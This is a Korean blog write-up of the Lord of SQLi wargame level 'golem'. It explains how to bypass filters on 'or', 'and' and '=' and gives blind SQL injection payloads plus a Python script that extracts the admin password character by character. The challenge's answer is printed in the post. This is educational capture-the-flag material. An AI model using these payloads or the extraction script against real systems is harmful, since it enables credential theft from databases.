본문으로 바로가기

LOS 11(golem)

category LOS-write up 2021. 1. 3. 03:11

문제

문제 분석

pw에 "prob" , "_" , ".","or","and","substr","="를 피해줘야 하고

id를 조회하는 쿼리가 참이된다면 hello {id}가 출력되는데 이것으로 blind injection을 진행한다.

 

결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다. 

pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다. 

 

이때 or, and, = 가 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제풀이

pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' and 1(1 대신 원하는 조건)으로 조작한다

where id='admin' and pw= '' or id='admin' and 1
=>  and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능

=>파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다. 

 

이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행하는데 이때 or 과 and =를 아래와 같이 바꿔줘서 진행한다.

 

or -> ||

and -> &&

= -> like

 

문제 정답

pw 길이를 알아내는 조건

URL?pw=' || id like 'admin' && (length(pw) like 1)#

1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.

 

 

pw 값을 알아내는 조건

URL?pw=' || (ascii(mid(pw,1,1)) like 1)#

pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며  1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다. 

 

url을 조작할시 %23으로 입력해줘야한다.

 

따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.

 

URL?pw=77d6290b

 

아래의 코드를 통해 쉽게 알아낼 수 있다.

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}
password=""

for pw_length in range(1,12):
    data['pw']="' || id like 'admin' && (length(pw) like "+str(pw_length)+")#"
    res = requests.get(url, params=data, cookies=session)
    
    if "Hello admin" in res.text:
        print("pw_length:"+str(pw_length)) 
        break
        

for i in range(1,pw_length+1):
    for j in range(32,127):
        data['pw']="' || (ascii(mid(pw,"+str(i)+",1)) like "+str(j)+")#"
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            password+=chr(j)
            print(password)
            break
  

data['pw']=password
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

 

'LOS-write up' 카테고리의 다른 글

LOS 13(bugbear)  (0) 2021.01.03
LOS 12(darkknight)  (0) 2021.01.03
LOS 10(skeleton)  (0) 2021.01.03
LOS 9(vampire)  (0) 2021.01.03
LOS 8(troll)  (0) 2021.01.03